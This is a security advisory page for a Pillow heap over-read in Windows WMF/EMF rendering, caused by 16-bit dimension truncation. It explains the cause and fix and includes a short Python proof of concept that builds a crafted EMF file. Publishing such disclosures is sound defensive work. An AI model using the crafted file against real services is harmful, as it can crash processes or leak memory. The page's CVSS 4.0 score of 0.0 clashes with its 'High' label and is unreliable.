Skip to content

GHSA-9v9v-9qvf-h2hj BIT-pillow-2026-96644 CVE-2026-96644 PYSEC-2026-4343

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 32.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-125 Out-of-bounds Read
Fix
13.0.0
Upgrade pillow to this version or later

Description

Summary

On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details

The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

  • src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

  • src/display.c:793-794 assign the 16-bit fields
  • src/display.c:800 sizes the allocation from them
  • src/display.c:827 copies height * ((width * 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).

PoC

import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact

CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

Affected versions

PyPI

PackageVulnerableFixed in
pillow
< 13.0.0
13.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 13.0.0

pip
pip install --upgrade "pillow>=13.0.0"
poetry
poetry add "pillow>=13.0.0"
uv
uv add "pillow>=13.0.0"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
High

Weakness

CWE-125: Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
  • Architecture and Design: Use a language that provides appropriate memory abstractions.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
PYSEC-2023-175
Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863).
High Known exploited Also affects pillow
GHSA-j7hp-h8jx-5ppr
libwebp: OOB write in BuildHuffmanTable
High Known exploited Also affects pillow
GHSA-78g4-xqwv-q3g8
Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
High Also affects pillow
GHSA-654x-cwwv-5j9c
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
Medium Also affects pillow
GHSA-xvh5-g6gv-559v
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
High Also affects pillow
GHSA-g7cr-3p24-7wf7
Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
High Also affects pillow
GHSA-g4qv-2jxx-769h
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Medium Also affects pillow
GHSA-3j72-p6qg-6xp7
Pillow: TarIO negative size field causes infinite CPU-spin loop
Medium Also affects pillow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor